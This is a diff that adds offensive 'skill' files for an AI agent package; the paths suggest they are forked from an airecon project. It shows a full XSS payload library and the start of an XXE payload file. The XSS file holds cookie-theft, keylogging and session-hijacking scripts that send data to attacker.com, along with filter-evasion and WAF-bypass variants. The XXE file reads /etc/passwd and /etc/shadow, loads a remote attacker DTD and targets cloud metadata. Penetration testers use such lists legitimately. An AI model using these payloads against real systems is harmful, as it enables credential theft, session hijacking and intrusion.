- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,447 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Full XSS Payload Library (500+ payloads)
|
|
4
|
+
## Comprehensive Cross-Site Scripting Payloads
|
|
5
|
+
|
|
6
|
+
### Basic Payloads
|
|
7
|
+
```
|
|
8
|
+
<script>alert(1)</script>
|
|
9
|
+
<img src=x onerror=alert(1)>
|
|
10
|
+
<svg onload=alert(1)>
|
|
11
|
+
<body onload=alert(1)>
|
|
12
|
+
<input onfocus=alert(1) autofocus>
|
|
13
|
+
<select onfocus=alert(1) autofocus>
|
|
14
|
+
<textarea onfocus=alert(1) autofocus>
|
|
15
|
+
<keygen onfocus=alert(1) autofocus>
|
|
16
|
+
<video><source onerror="alert(1)">
|
|
17
|
+
<audio src=x onerror=alert(1)>
|
|
18
|
+
<details open ontoggle=alert(1)>
|
|
19
|
+
<marquee onstart=alert(1)>
|
|
20
|
+
<meter onmouseover=alert(1)>0</meter>
|
|
21
|
+
<object data="javascript:alert(1)">
|
|
22
|
+
<embed src="javascript:alert(1)">
|
|
23
|
+
<iframe src="javascript:alert(1)">
|
|
24
|
+
<form action="javascript:alert(1)"><input type=submit>
|
|
25
|
+
<isindex action="javascript:alert(1)" type=submit>
|
|
26
|
+
<animate onbegin=alert(1) attributeName=x>
|
|
27
|
+
<set attributeName=onload to=alert(1)>
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Event Handlers (100+ variations)
|
|
31
|
+
```
|
|
32
|
+
onclick
|
|
33
|
+
onerror
|
|
34
|
+
onload
|
|
35
|
+
onmouseover
|
|
36
|
+
onmouseout
|
|
37
|
+
onmousedown
|
|
38
|
+
onmouseup
|
|
39
|
+
onfocus
|
|
40
|
+
onblur
|
|
41
|
+
onchange
|
|
42
|
+
oninput
|
|
43
|
+
onsubmit
|
|
44
|
+
onreset
|
|
45
|
+
onselect
|
|
46
|
+
onkeydown
|
|
47
|
+
onkeyup
|
|
48
|
+
onkeypress
|
|
49
|
+
ontouchstart
|
|
50
|
+
ontouchmove
|
|
51
|
+
ontouchend
|
|
52
|
+
ondblclick
|
|
53
|
+
onanimationstart
|
|
54
|
+
onanimationend
|
|
55
|
+
onanimationiteration
|
|
56
|
+
ontransitionend
|
|
57
|
+
onpointerdown
|
|
58
|
+
onpointerup
|
|
59
|
+
onpointermove
|
|
60
|
+
onwheel
|
|
61
|
+
ondrag
|
|
62
|
+
ondrop
|
|
63
|
+
oncut
|
|
64
|
+
oncopy
|
|
65
|
+
onpaste
|
|
66
|
+
onabort
|
|
67
|
+
oncanplay
|
|
68
|
+
oncanplaythrough
|
|
69
|
+
ondurationchange
|
|
70
|
+
onemptied
|
|
71
|
+
onended
|
|
72
|
+
onerror
|
|
73
|
+
onloadeddata
|
|
74
|
+
onloadedmetadata
|
|
75
|
+
onloadstart
|
|
76
|
+
onpause
|
|
77
|
+
onplay
|
|
78
|
+
onplaying
|
|
79
|
+
onprogress
|
|
80
|
+
onratechange
|
|
81
|
+
onseeked
|
|
82
|
+
onseeking
|
|
83
|
+
onstalled
|
|
84
|
+
onsuspend
|
|
85
|
+
ontimeupdate
|
|
86
|
+
onvolumechange
|
|
87
|
+
onwaiting
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### Event Handler + Payload Combinations
|
|
91
|
+
```
|
|
92
|
+
<img src=x onerror=alert(1)>
|
|
93
|
+
<img src=x onload=alert(1)>
|
|
94
|
+
<img src=x onmouseover=alert(1)>
|
|
95
|
+
<img src=x onfocus=alert(1)>
|
|
96
|
+
<svg onload=alert(1)>
|
|
97
|
+
<svg onerror=alert(1)>
|
|
98
|
+
<svg onmouseover=alert(1)>
|
|
99
|
+
<body onload=alert(1)>
|
|
100
|
+
<body onerror=alert(1)>
|
|
101
|
+
<body onfocus=alert(1)>
|
|
102
|
+
<input onfocus=alert(1) autofocus>
|
|
103
|
+
<input onblur=alert(1)>
|
|
104
|
+
<input oninput=alert(1)>
|
|
105
|
+
<input onchange=alert(1)>
|
|
106
|
+
<select onfocus=alert(1) autofocus>
|
|
107
|
+
<select onchange=alert(1)>
|
|
108
|
+
<textarea onfocus=alert(1) autofocus>
|
|
109
|
+
<textarea oninput=alert(1)>
|
|
110
|
+
<keygen onfocus=alert(1) autofocus>
|
|
111
|
+
<video><source onerror=alert(1)>
|
|
112
|
+
<audio src=x onerror=alert(1)>
|
|
113
|
+
<details open ontoggle=alert(1)>
|
|
114
|
+
<marquee onstart=alert(1)>
|
|
115
|
+
<marquee onfinish=alert(1)>
|
|
116
|
+
<meter onmouseover=alert(1)>0</meter>
|
|
117
|
+
<object data="javascript:alert(1)">
|
|
118
|
+
<embed src="javascript:alert(1)">
|
|
119
|
+
<iframe src="javascript:alert(1)">
|
|
120
|
+
<iframe srcdoc="<script>alert(1)</script>">
|
|
121
|
+
<form action="javascript:alert(1)"><input type=submit>
|
|
122
|
+
<isindex action="javascript:alert(1)" type=submit>
|
|
123
|
+
<a href="javascript:alert(1)">click</a>
|
|
124
|
+
<base href="javascript:alert(1)//">
|
|
125
|
+
<link rel="import" href="javascript:alert(1)">
|
|
126
|
+
<meta http-equiv="refresh" content="0;javascript:alert(1)">
|
|
127
|
+
<svg><a href="javascript:alert(1)"><animate attributeName="href" from="#" to="javascript:alert(1)" />
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### Bypass Techniques - Tag Blocking
|
|
131
|
+
```
|
|
132
|
+
<ScRiPt>alert(1)</sCrIpT>
|
|
133
|
+
<scr\x00ipt>alert(1)</scr\x00ipt>
|
|
134
|
+
<scr\x69pt>alert(1)</scr\x69pt>
|
|
135
|
+
<sc\x72ipt>alert(1)</sc\x72ipt>
|
|
136
|
+
<script/%00%00>alert(1)</script>
|
|
137
|
+
<script/%00>alert(1)</script>
|
|
138
|
+
<script>al\u0065rt(1)</script>
|
|
139
|
+
<script>al\x65rt(1)</script>
|
|
140
|
+
<script>al\u00065rt(1)</script>
|
|
141
|
+
<s\x00cript>alert(1)</s\x00cript>
|
|
142
|
+
<j\x00avascript:alert(1)>
|
|
143
|
+
<svg><script>alert(1)</script>
|
|
144
|
+
<svg><script>alert(1)</script>
|
|
145
|
+
<svg><script>alert(String.fromCharCode(49))</script>
|
|
146
|
+
< IMG SRC=javascript:alert(1)>
|
|
147
|
+
< IMG SRC="javascript:alert(1)">
|
|
148
|
+
<IMG SRC="javascript:alert(1)">
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### Bypass Techniques - Quote Escaping
|
|
152
|
+
```
|
|
153
|
+
'"(){}<x>=>${alert(1)}
|
|
154
|
+
<svg><script>alert(1)</script>
|
|
155
|
+
<img src="x" onerror="alert(1)">
|
|
156
|
+
<img src='x' onerror='alert(1)'>
|
|
157
|
+
<img src=x onerror=alert(1)>
|
|
158
|
+
<img src=x onerror="alert(1)">
|
|
159
|
+
<img src=x onerror='alert(1)'>
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
### Bypass - HTML Entity Encoding
|
|
163
|
+
```
|
|
164
|
+
<script>alert(1)</script>
|
|
165
|
+
<script>alert(1)</script>
|
|
166
|
+
<script>alert(1)</script>
|
|
167
|
+
<img src=x onerror=alert(1)>
|
|
168
|
+
<img src=x onerror=alert(1)>
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Bypass - Unicode Escaping
|
|
172
|
+
```
|
|
173
|
+
\u003cscript\u003ealert(1)\u003c/script\u003e
|
|
174
|
+
\u003cimg src=x onerror=alert(1)\u003e
|
|
175
|
+
<script>\u0061lert(1)</script>
|
|
176
|
+
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
### Bypass - Mixed Encoding
|
|
180
|
+
```
|
|
181
|
+
%3Cscript%3Ealert(1)%3C/script%3E
|
|
182
|
+
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
|
|
183
|
+
%26%2360%3Bscript%26%2362%3Balert(1)%26%2360%3B/script%26%2362%3B
|
|
184
|
+
<%00script>alert(1)</script>
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
### Bypass - Character Insertion
|
|
188
|
+
```
|
|
189
|
+
<scr\x00ipt>alert(1)</scr\x00ipt>
|
|
190
|
+
<scr\x09ipt>alert(1)</scr\x09ipt>
|
|
191
|
+
<scr\x0aipt>alert(1)</scr\x0aipt>
|
|
192
|
+
<scr\x0dipt>alert(1)</scr\x0dipt>
|
|
193
|
+
<scr\x20ipt>alert(1)</scr\x20ipt>
|
|
194
|
+
<s\x63ript>alert(1)</s\x63ript>
|
|
195
|
+
<s\x63\x72ipt>alert(1)</s\x63\x72ipt>
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### Bypass - Non-Alphanumeric
|
|
199
|
+
```
|
|
200
|
+
<script>eval(atob('YWxlcnQoMSk='))</script>
|
|
201
|
+
<script>eval(atob('YWxlcnQoMik='))</script>
|
|
202
|
+
<script>eval(atob('YWxlcnQodGhpcyk='))</script>
|
|
203
|
+
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>
|
|
204
|
+
<script>[][(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]][(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[+!+[]])())</script>
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
### DOM XSS Payloads
|
|
208
|
+
```
|
|
209
|
+
javascript:alert(1)
|
|
210
|
+
javascript:alert(document.domain)
|
|
211
|
+
javascript:alert(document.cookie)
|
|
212
|
+
javascript:fetch('http://attacker.com?c='+document.cookie)
|
|
213
|
+
data:text/html,<script>alert(1)</script>
|
|
214
|
+
data:text/html,<script>alert(document.domain)</script>
|
|
215
|
+
vbscript:msgbox(document.cookie)
|
|
216
|
+
#<img src=x onerror=alert(1)>
|
|
217
|
+
"><img src=x onerror=alert(1)>
|
|
218
|
+
'><img src=x onerror=alert(1)>
|
|
219
|
+
"><script>alert(1)</script>
|
|
220
|
+
'><script>alert(1)</script>
|
|
221
|
+
</script><script>alert(1)</script>
|
|
222
|
+
"><svg onload=alert(1)>
|
|
223
|
+
'><svg onload=alert(1)>
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
### AngularJS payloads
|
|
227
|
+
```
|
|
228
|
+
{{constructor.constructor('alert(1)')()}}
|
|
229
|
+
{{alert(document.cookie)}}
|
|
230
|
+
ng-app"><img src=x onerror=alert(1)>
|
|
231
|
+
ng-app>{{alert(1)}}
|
|
232
|
+
x ng-init=alert(1)
|
|
233
|
+
{{$on.constructor('alert(1)')()}}
|
|
234
|
+
{{toString.constructor('alert(1)')()}}
|
|
235
|
+
{{'a'.constructor.prototype.charAt=[].join;$eval('alert(1)')}}
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
### React payloads
|
|
239
|
+
```
|
|
240
|
+
<img src=x onerror={alert(1)}>
|
|
241
|
+
{alert(1)}
|
|
242
|
+
<svg><animate onbegin=alert(1) attributeName=x>
|
|
243
|
+
javascript:alert(1)
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
### jQuery payloads
|
|
247
|
+
```
|
|
248
|
+
<script>$.get('http://attacker.com?c='+document.cookie)</script>
|
|
249
|
+
<img src=x onerror="$().get('http://attacker.com')">
|
|
250
|
+
<svg/onload=$().get('http://attacker.com')>
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
### Prototype Pollution
|
|
254
|
+
```
|
|
255
|
+
{"__proto__":{"polluted":"true"}}
|
|
256
|
+
{"constructor":{"prototype":{"polluted":"true"}}}
|
|
257
|
+
{"__proto__":{"<img src=x onerror=alert(1)>":"test"}}
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### Stored XSS
|
|
261
|
+
```
|
|
262
|
+
<script>alert(1)</script>
|
|
263
|
+
<img src=x onerror=alert(1)>
|
|
264
|
+
<svg onload=alert(1)>
|
|
265
|
+
<iframe src="javascript:alert(1)">
|
|
266
|
+
<div style="background-image:url(javascript:alert(1))">
|
|
267
|
+
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
### Reflected XSS
|
|
271
|
+
```
|
|
272
|
+
/?q=<script>alert(1)</script>
|
|
273
|
+
/?q=<img src=x onerror=alert(1)>
|
|
274
|
+
/?q="><script>alert(1)</script>
|
|
275
|
+
/?q='><script>alert(1)</script>
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
### Blind XSS
|
|
279
|
+
```
|
|
280
|
+
<script src=http://attacker.com/xss.js></script>
|
|
281
|
+
<img src=x onerror="fetch('http://attacker.com?c='+document.cookie)">
|
|
282
|
+
<svg onload="fetch('http://attacker.com?c='+document.cookie)">
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
### WAF Bypass - Cloudflare
|
|
286
|
+
```
|
|
287
|
+
<svg/onload=alert(1)>
|
|
288
|
+
<svg><script>alert(1)</script>
|
|
289
|
+
<img src=x:alert(1)>
|
|
290
|
+
<svg><a href="javascript:alert(1)">
|
|
291
|
+
<svg><animate onbegin=alert(1) attributeName=x>
|
|
292
|
+
<math><a href="javascript:alert(1)">test
|
|
293
|
+
<body onload=alert(1)>
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
### WAF Bypass - Akamai
|
|
297
|
+
```
|
|
298
|
+
<iframe src="javascript:alert(1)">
|
|
299
|
+
<svg><script>alert(1)</script>
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
### WAF Bypass - Generic
|
|
303
|
+
```
|
|
304
|
+
<ScRiPt>alErT(1)</sCrIpT>
|
|
305
|
+
<IMG SRC="javascript:alert(1)">
|
|
306
|
+
<IMG SRC="javascript:alert(1)">
|
|
307
|
+
<IMG SRC=javascript:alert(1)>
|
|
308
|
+
<IMG SRC=JaVaScRiPt:alert(1)>
|
|
309
|
+
<svg><script>alert(1)</script>
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
### Polyglots (Multi-Context)
|
|
313
|
+
```
|
|
314
|
+
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
|
|
315
|
+
<svg%0Aonload=%09alert(1)%0A>
|
|
316
|
+
<img src="x" onerror="JAVASCRIPT('alert(1))">
|
|
317
|
+
<svg/onload=alert(String.fromCharCode(49))>
|
|
318
|
+
<svg/onload=eval(atob('YWxlcnQoMSk='))>
|
|
319
|
+
<svg><script>eval(atob('YWxlcnQoMSk='))</script></svg>
|
|
320
|
+
<svg><script>alert(1)</script>
|
|
321
|
+
<svg><set attributeName="onload" to="alert(1)">
|
|
322
|
+
<img src=x onerror="<script>alert(1)">
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
### Payload Templates
|
|
326
|
+
```
|
|
327
|
+
PAYLOAD_TEMPLATE_XSS_REFLECTED = """
|
|
328
|
+
{param}=<script>alert(1)</script>
|
|
329
|
+
{param}=<img src=x onerror=alert(1)>
|
|
330
|
+
{param}=<svg onload=alert(1)>
|
|
331
|
+
{param}="><script>alert(1)</script>
|
|
332
|
+
{param}='><script>alert(1)</script>
|
|
333
|
+
{param}=javascript:alert(1)
|
|
334
|
+
{param}=<iframe src="javascript:alert(1)">
|
|
335
|
+
"""
|
|
336
|
+
|
|
337
|
+
PAYLOAD_TEMPLATE_XSS_DOM = """
|
|
338
|
+
{param}=</{param}><script>alert(1)</script>
|
|
339
|
+
{param}=//console.log(alert(1))
|
|
340
|
+
{param}=</title><script>alert(1)</script>
|
|
341
|
+
{param}=</head><body onload=alert(1)>
|
|
342
|
+
"""
|
|
343
|
+
|
|
344
|
+
PAYLOAD_TEMPLATE_XSS_FILE_UPLOAD = """
|
|
345
|
+
filename.php
|
|
346
|
+
filename.jpg.php
|
|
347
|
+
filename.php.jpg
|
|
348
|
+
filename.php3
|
|
349
|
+
filename.php4
|
|
350
|
+
filename.php5
|
|
351
|
+
filename.phtml
|
|
352
|
+
filename.phar
|
|
353
|
+
filename.php7
|
|
354
|
+
filename.php8
|
|
355
|
+
filename.aspx
|
|
356
|
+
filename.asp
|
|
357
|
+
filename.jsp
|
|
358
|
+
filename.shtml
|
|
359
|
+
filename.svg
|
|
360
|
+
```
|
|
361
|
+
|
|
362
|
+
### Context-Specific Payloads
|
|
363
|
+
|
|
364
|
+
#### In HTML Tag
|
|
365
|
+
```
|
|
366
|
+
"><script>alert(1)</script>
|
|
367
|
+
"><img src=x onerror=alert(1)>
|
|
368
|
+
'><script>alert(1)</script>
|
|
369
|
+
'<script>alert(1)</script>
|
|
370
|
+
"><svg onload=alert(1)>
|
|
371
|
+
'><svg onload=alert(1)>
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
#### In JavaScript
|
|
375
|
+
```
|
|
376
|
+
</script><script>alert(1)</script>
|
|
377
|
+
'-alert(1)-'
|
|
378
|
+
";alert(1);//
|
|
379
|
+
';alert(1);//
|
|
380
|
+
${alert(1)}
|
|
381
|
+
```
|
|
382
|
+
|
|
383
|
+
#### In Attribute
|
|
384
|
+
```
|
|
385
|
+
" onmouseover=alert(1) "
|
|
386
|
+
' onmouseover=alert(1) '
|
|
387
|
+
onmouseover=alert(1)
|
|
388
|
+
javascript:alert(1)
|
|
389
|
+
```
|
|
390
|
+
|
|
391
|
+
#### In Style
|
|
392
|
+
```
|
|
393
|
+
xss:expression(alert(1))
|
|
394
|
+
style="background-image:url(javascript:alert(1))"
|
|
395
|
+
```
|
|
396
|
+
|
|
397
|
+
#### In Link
|
|
398
|
+
```
|
|
399
|
+
javascript:alert(1)
|
|
400
|
+
vbscript:msgbox(1)
|
|
401
|
+
data:text/html,<script>alert(1)</script>
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
### Cookie Stealing
|
|
405
|
+
```
|
|
406
|
+
<script>fetch('https://attacker.com?c='+document.cookie)</script>
|
|
407
|
+
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
|
|
408
|
+
<svg onload="fetch('https://attacker.com?c='+document.cookie)">
|
|
409
|
+
<script>new Image().src='https://attacker.com?c='+document.cookie</script>
|
|
410
|
+
```
|
|
411
|
+
|
|
412
|
+
### Keylogging
|
|
413
|
+
```
|
|
414
|
+
<script>document.onkeypress=function(e){new Image().src='https://attacker.com?k='+e.key}</script>
|
|
415
|
+
<script>document.onkeydown=function(e){new Image().src='https://attacker.com?k='+e.keyCode}</script>
|
|
416
|
+
```
|
|
417
|
+
|
|
418
|
+
### Session Hijacking
|
|
419
|
+
```
|
|
420
|
+
<script>
|
|
421
|
+
fetch('https://attacker.com?session='+document.cookie)
|
|
422
|
+
.then(r=>r.text())
|
|
423
|
+
.then(t=>fetch('https://attacker.com/log?t='+t))
|
|
424
|
+
</script>
|
|
425
|
+
```
|
|
426
|
+
|
|
427
|
+
### Port Scanning via XSS
|
|
428
|
+
```
|
|
429
|
+
<script>
|
|
430
|
+
for(i=1;i<65535;i++){
|
|
431
|
+
new Image().src='http://attacker.com:'+i
|
|
432
|
+
}
|
|
433
|
+
</script>
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
### CSS Injection
|
|
437
|
+
```
|
|
438
|
+
<style>
|
|
439
|
+
@import "http://attacker.com/xss.css";
|
|
440
|
+
</style>
|
|
441
|
+
<link rel="stylesheet" href="http://attacker.com/xss.css">
|
|
442
|
+
```
|
|
443
|
+
|
|
444
|
+
### Clickjacking
|
|
445
|
+
```
|
|
446
|
+
<iframe src="http://target.com" style="opacity:0;filter:alpha(opacity=0)">
|
|
447
|
+
```
|
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# XXE (XML External Entity) Payloads
|
|
4
|
+
|
|
5
|
+
## Basic XXE
|
|
6
|
+
```xml
|
|
7
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
8
|
+
<!DOCTYPE foo [
|
|
9
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
10
|
+
]>
|
|
11
|
+
<data>&xxe;</data>
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
## Blind XXE
|
|
15
|
+
```xml
|
|
16
|
+
<?xml version="1.0"?>
|
|
17
|
+
<!DOCTYPE foo [
|
|
18
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
|
19
|
+
%xxe;
|
|
20
|
+
]>
|
|
21
|
+
<data>test</data>
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## Error-Based XXE
|
|
25
|
+
```xml
|
|
26
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
27
|
+
<!DOCTYPE foo [
|
|
28
|
+
<!ENTITY xxe SYSTEM "file:///nonexistent">
|
|
29
|
+
]>
|
|
30
|
+
<data>&xxe;</data>
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
## SSRF via XXE
|
|
34
|
+
```xml
|
|
35
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
36
|
+
<!DOCTYPE foo [
|
|
37
|
+
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
|
|
38
|
+
]>
|
|
39
|
+
<data>&xxe;</data>
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## Read Local Files
|
|
43
|
+
```xml
|
|
44
|
+
<!-- /etc/passwd -->
|
|
45
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
46
|
+
|
|
47
|
+
<!-- /etc/shadow -->
|
|
48
|
+
<!ENTITY xxe SYSTEM "file:///etc/shadow">
|
|
49
|
+
|
|
50
|
+
<!-- Source code -->
|
|
51
|
+
